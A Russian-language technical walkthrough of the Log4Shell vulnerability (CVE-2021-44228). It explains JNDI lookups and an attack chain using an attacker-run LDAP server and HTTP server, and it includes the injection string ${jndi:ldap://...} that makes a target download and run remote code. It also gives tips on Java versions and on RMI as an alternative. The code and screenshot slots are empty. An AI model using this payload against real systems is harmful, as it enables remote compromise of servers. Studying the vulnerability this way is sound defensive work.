
Исследование уязвимости CVE-2021-44228
Ниже приведен подробный процесс удаленной инъекции с использованием уязвимости log4shell. Сначала рассмотрим 3 части, которые необходимо знать:
Log4j2 позволяет вести логирование данных с помощью функции message lookup substitution, где сообщения лога могут включать данные, динамически извлекаемые из различных источников. (Поддерживает JNDI Lookup)
JNDI Lookup: Позволяет получать данные через API Java Naming and Directory Interface (JNDI), который может взаимодействовать с различными службами каталогов

LDAP (Lightweight Directory Access Protocol): Используется в основном для доступа и управления службами каталогов через сеть.
Вот простой пример удаленного выполнения кода:

Хакер настраивает как LDAP сервер (доступный по протоколу LDAP, хранящий ссылку на вредоносный Java код), так и HTTP сервер (место хранения вредоносного кода).
Настройка HTTP сервера в каталоге, содержащем скомпилированный вредоносный код:

Настройка LDAP сервера, хранящего ссылку:

Хакер отправляет вредоносный ввод (${jndi:ldap://LDAPSERVER IP:PORT/code}) в программную систему, где установлен log4j2

Log4j2 использует функцию lookup для отправки запроса на LDAP сервер
LDAP сервер перенаправляет запросы на HTTP серверы через ссылки на Java код, хранящиеся на LDAP серверах
HTTP сервер отправляет вредоносный код в программную систему, и затем система выполняет вредоносный код.
Вредоносный код:

Выполнение вредоносного кода успешно:

ВАЖНО:
Мы можем использовать не только LDAP сервер для удаленного выполнения кода, но и другие методы (например, RMI), пока log4j2 успешно выполняет message lookup substitution и выполняет вредоносный код
Разные версии Java могут сделать процесс эксплуатации разным (здесь мы используем Java 1.8u112).
Рекомендуется использовать ту же версию Java во вредоносном коде, что и в программном обеспечении (сервера, использующие log4j2), или, по крайней мере, не выше версии Java, используемой в программном обеспечении.

Код lookup в Log4j2:
